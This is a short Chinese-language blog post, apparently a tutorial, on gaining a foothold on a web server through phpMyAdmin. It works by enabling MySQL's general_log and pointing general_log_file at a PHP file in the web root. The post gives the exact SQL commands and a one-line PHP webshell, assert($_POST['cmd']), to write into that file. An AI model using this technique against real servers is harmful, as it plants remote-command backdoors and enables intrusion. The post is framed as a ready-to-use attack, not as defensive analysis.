zoukankan      html  css  js  c++  java
  • phpmyadmin漏洞利用general_log和general_log_file拿权限

    我们如果知道phpmyadmin和网站的绝对路径后,可以利用into outfile写马拿到权限,但是吧有新版本的mysql和一些系统设置的问题这个函数受到了secure-file-priv这个的影响而且在linux上边必须有写 W的权限。。。这个得配置系统文件,在没有拿到权限的时候没法弄。。。 
    

    可以利用general_loggeneral_log_file

    #原理:
    开启general_log后,系统将mysql以后执行的每一条查询语句写入你指定的位置的文件里。而文件的位置则由general_log_file确定。我们可以开启这个选项后,SELECT '<?php assert($_POST["cmd"]);?>';,这个指令就把木马插入到你指定的php文件中去了。  
    
    #操作:
    show variables like 'general%';
    一般为OFF,我们可以在phpmyadmin上边执行操作:  
    set global general_log = "ON"; 
    SET global general_log_file="C:softewarephpstudyPHPTutorialWWWshell.php"    
    (SET global general_log_file="/var/www/html/index.php")
    
    

    开启:

    https://images2018.cnblogs.com/blog/1397720/201807/1397720-20180723154154444-1800467525.png

    设置路径:

    https://images2018.cnblogs.com/blog/1397720/201807/1397720-20180723154210865-386750088.png

    查询一句话木马:

    查看木马:

  • 相关阅读:
    SpringMVC组件解析
    SpringMVC简介
    spring集成web环境
    Spring基于注解的事务控制
    Spring基于XML声明式事务控制
    Spring事务控制&编程式事务控制三大对象
    基于注解的AOP开发
    基于xml的AOP开发
    python字符串操作
    赋值、深拷贝、浅拷贝
  • 原文地址:https://www.cnblogs.com/zaqzzz/p/9355004.html
Copyright © 2011-2022 走看看